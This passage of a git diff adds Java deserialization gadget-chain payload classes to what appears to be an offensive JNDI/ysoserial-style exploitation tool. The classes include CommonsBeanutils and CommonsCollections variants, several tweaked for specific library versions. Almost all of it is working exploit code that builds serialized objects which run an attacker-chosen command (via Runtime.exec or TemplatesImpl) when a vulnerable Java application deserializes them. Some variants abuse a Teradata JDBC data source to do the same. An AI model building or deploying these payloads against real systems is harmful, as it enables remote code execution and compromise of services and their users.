ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1Jdbc.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1Jdbc.java new file mode 100644 index 00000000..f00144d8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1Jdbc.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.teradata.jdbc.TeraDataSource; +import org.apache.commons.beanutils.BeanComparator; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Authors({Authors.FROHOFF}) +public class CommonsBeanutils1Jdbc implements ObjectPayload { + public Object getObject(PayloadType type, String... param) throws Exception { + + // create a TeraDataSource object, holding our JDBC string + TeraDataSource dataSource = new TeraDataSource(); + dataSource.setBROWSER(param[0]); + dataSource.setLOGMECH("BROWSER"); + dataSource.setDSName("127.0.0.1"); + dataSource.setDbsPort("10250"); + + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + Reflections.setFieldValue(comparator, "property", "outputProperties"); + // switch method called by comparator to "getConnection" + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = dataSource; + queueArray[1] = dataSource; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2.java new file mode 100644 index 00000000..6d316ab1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * PriorityQueue.readObject() + * ... + * TransformingComparator.compare() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + */ + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +public class CommonsBeanutils2 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2Jdbc.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2Jdbc.java new file mode 100644 index 00000000..086a24b4 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2Jdbc.java @@ -0,0 +1,36 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.teradata.jdbc.TeraDataSource; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({Authors.FROHOFF}) +public class CommonsBeanutils2Jdbc implements ObjectPayload { + public Object getObject(PayloadType type, String... param) throws Exception { + TeraDataSource dataSource = new TeraDataSource(); + dataSource.setBROWSER(param[0]); + dataSource.setLOGMECH("BROWSER"); + dataSource.setDSName("127.0.0.1"); + dataSource.setDbsPort("10250"); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "connection"); + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = dataSource; + queueArray[1] = dataSource; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.java new file mode 100644 index 00000000..9293d537 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils2NOCC.java @@ -0,0 +1,53 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import com.qi4l.jndi.gadgets.utils.Reflections; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; +import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils2NOCC implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + // 修改BeanComparator类的serialVersionUID + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + Reflections.setFieldValue(comparator, "property", null); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); + ctBeanComparator.defrost(); + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.java new file mode 100644 index 00000000..f4ba4e79 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare.java @@ -0,0 +1,46 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({"水滴"}) +public class CommonsBeanutilsAttrCompare implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(attrNS1); + queue.add(attrNS1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.java new file mode 100644 index 00000000..25d30b42 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsAttrCompare183.java @@ -0,0 +1,63 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; + +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsAttrCompare183 implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + + ctBeanComparator.defrost(); + + Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(attrNS1); + queue.add(attrNS1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.java new file mode 100644 index 00000000..a04f9f77 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.commons.lang3.compare.ObjectToStringComparator; + +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"}) +@Authors({"水滴"}) +public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + + ObjectToStringComparator stringComparator = new ObjectToStringComparator(); + + BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(stringComparator); + queue.add(stringComparator); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.java new file mode 100644 index 00000000..f93d7c54 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsObjectToStringComparator183.java @@ -0,0 +1,58 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import org.apache.commons.lang3.compare.ObjectToStringComparator; + +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + ctBeanComparator.defrost(); + Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); + + ObjectToStringComparator stringComparator = new ObjectToStringComparator(); + + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(stringComparator); + queue.add(stringComparator); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.java new file mode 100644 index 00000000..2cc2fdf1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.logging.log4j.util.PropertySource; + +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsPropertySource implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + PropertySource propertySource1 = new PropertySource() { + @Override + public int getPriority() { + return 0; + } + }; + + BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(propertySource1); + queue.add(propertySource1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.java new file mode 100644 index 00000000..b3ccc587 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutilsPropertySource183.java @@ -0,0 +1,63 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.*; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import org.apache.logging.log4j.util.PropertySource; + +import java.io.ByteArrayOutputStream; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsPropertySource183 implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + PropertySource propertySource1 = new PropertySource() { + @Override + public int getPriority() { + return 0; + } + }; + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + ctBeanComparator.defrost(); + Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); + + + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(propertySource1); + queue.add(propertySource1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections1.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections1.java new file mode 100644 index 00000000..a56accfc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections1.java @@ -0,0 +1,63 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * AnnotationInvocationHandler.readObject() + * Map(Proxy).entrySet() + * AnnotationInvocationHandler.invoke() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections1 implements ObjectPayload { + + @Override + public InvocationHandler getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化 + + return handler; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections10.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections10.java new file mode 100644 index 00000000..02734783 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections10.java @@ -0,0 +1,52 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.functors.InstantiateFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) + +public class CommonsCollections10 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + // 使用 InstantiateFactory 代替 InstantiateTransformer + InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); + + FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); + + // 先放一个无关键要的 Transformer + ConstantTransformer constantTransformer = new ConstantTransformer(1); + Map innerMap = new HashMap(); + LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer); + TiedMapEntry tme = new TiedMapEntry(outerMap, "nu1r"); + Map expMap = new HashMap(); + expMap.put(tme, "nu2r"); + + Reflections.setFieldValue(outerMap, "factory", factoryTransformer); + + outerMap.remove("nu1r"); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections11.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections11.java new file mode 100644 index 00000000..ef3bedb2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections11.java @@ -0,0 +1,45 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * RMIConnector 二次反序列化 + * 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer + * 直接传入 Base64 编码的序列化数据即可 + */ +public class CommonsCollections11 implements ObjectPayload { + + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + HashMap expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "nu1r"); + lazyMap.remove(templates); + + Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections12.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections12.java new file mode 100644 index 00000000..0ac6f314 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections12.java @@ -0,0 +1,33 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.map.DefaultedMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +public class CommonsCollections12 implements ObjectPayload { + @Override + public Hashtable getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map hashMap1 = new HashMap(); + Map hashMap2 = new HashMap(); + DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers); + DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers); + + defaultedMap1.put("yy", 1); + defaultedMap2.put("zZ", 1); + Hashtable hashtable = new Hashtable(); + hashtable.put(defaultedMap1, 1); + hashtable.put(defaultedMap2, 1); + defaultedMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections2.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections2.java new file mode 100644 index 00000000..5932f7b1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections2.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.util.PriorityQueue; +import java.util.Queue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections2 implements ObjectPayload> { + + public Queue getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + final PriorityQueue queue = new PriorityQueue(2, 